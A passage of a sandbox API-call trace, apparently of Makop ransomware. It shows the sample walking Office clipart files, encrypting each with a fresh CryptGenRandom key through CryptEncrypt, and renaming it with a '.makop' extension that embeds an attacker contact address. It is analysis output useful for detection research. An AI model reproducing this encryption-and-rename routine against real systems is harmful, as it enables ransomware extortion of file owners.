dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.202] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.202] GetProcessHeap () returned 0x48a0000 [0128.202] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.202] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.203] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.204] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x73a2, lpOverlapped=0x0) returned 1 [0128.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x73b0, dwBufLen=0x73b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x73b0) returned 1 [0128.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x73b0, lpOverlapped=0x0) returned 1 [0128.206] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.206] SetEndOfFile (hFile=0xf0) returned 1 [0128.264] GetProcessHeap () returned 0x48a0000 [0128.264] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.264] GetProcessHeap () returned 0x48a0000 [0128.264] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.264] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.266] CloseHandle (hObject=0xf0) returned 1 [0128.266] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0128.266] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0128.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.267] GetProcessHeap () returned 0x48a0000 [0128.267] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.267] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.267] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.268] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0128.310] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.310] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.310] GetProcessHeap () returned 0x48a0000 [0128.310] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.311] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.311] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.311] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.311] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.311] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.311] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.312] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.312] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.312] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.312] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x336a, lpOverlapped=0x0) returned 1 [0128.313] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3370, dwBufLen=0x3370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3370) returned 1 [0128.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.314] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3370, lpOverlapped=0x0) returned 1 [0128.314] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.315] SetEndOfFile (hFile=0xf0) returned 1 [0128.321] GetProcessHeap () returned 0x48a0000 [0128.322] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.322] GetProcessHeap () returned 0x48a0000 [0128.322] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.322] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.324] CloseHandle (hObject=0xf0) returned 1 [0128.324] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0128.324] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0128.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.325] GetProcessHeap () returned 0x48a0000 [0128.325] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.325] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0128.330] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.330] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.330] GetProcessHeap () returned 0x48a0000 [0128.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.330] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.330] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.330] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.330] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.331] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.331] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.331] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.332] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.332] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.332] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ca4, lpOverlapped=0x0) returned 1 [0128.333] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0) returned 1 [0128.333] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.333] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1cb0, lpOverlapped=0x0) returned 1 [0128.333] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.334] SetEndOfFile (hFile=0xf0) returned 1 [0128.382] GetProcessHeap () returned 0x48a0000 [0128.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.382] GetProcessHeap () returned 0x48a0000 [0128.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.382] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.384] CloseHandle (hObject=0xf0) returned 1 [0128.384] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0128.384] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0128.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.386] GetProcessHeap () returned 0x48a0000 [0128.386] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.386] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0128.481] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.481] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.481] GetProcessHeap () returned 0x48a0000 [0128.481] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.481] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.483] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.483] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.483] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11b6, lpOverlapped=0x0) returned 1 [0128.484] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0) returned 1 [0128.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11c0, lpOverlapped=0x0) returned 1 [0128.485] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.485] SetEndOfFile (hFile=0xf0) returned 1 [0128.492] GetProcessHeap () returned 0x48a0000 [0128.492] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.492] GetProcessHeap () returned 0x48a0000 [0128.492] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.492] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.494] CloseHandle (hObject=0xf0) returned 1 [0128.494] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0128.494] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0128.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.495] GetProcessHeap () returned 0x48a0000 [0128.495] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 